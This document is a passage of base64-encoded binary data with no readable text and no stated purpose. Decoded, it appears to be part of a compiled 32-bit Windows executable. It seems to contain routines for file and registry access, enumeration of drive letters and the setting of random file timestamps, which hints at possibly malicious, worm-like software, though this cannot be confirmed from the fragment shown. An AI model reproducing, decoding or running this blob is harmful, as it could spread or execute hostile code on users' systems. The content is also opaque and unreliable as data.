UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ 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 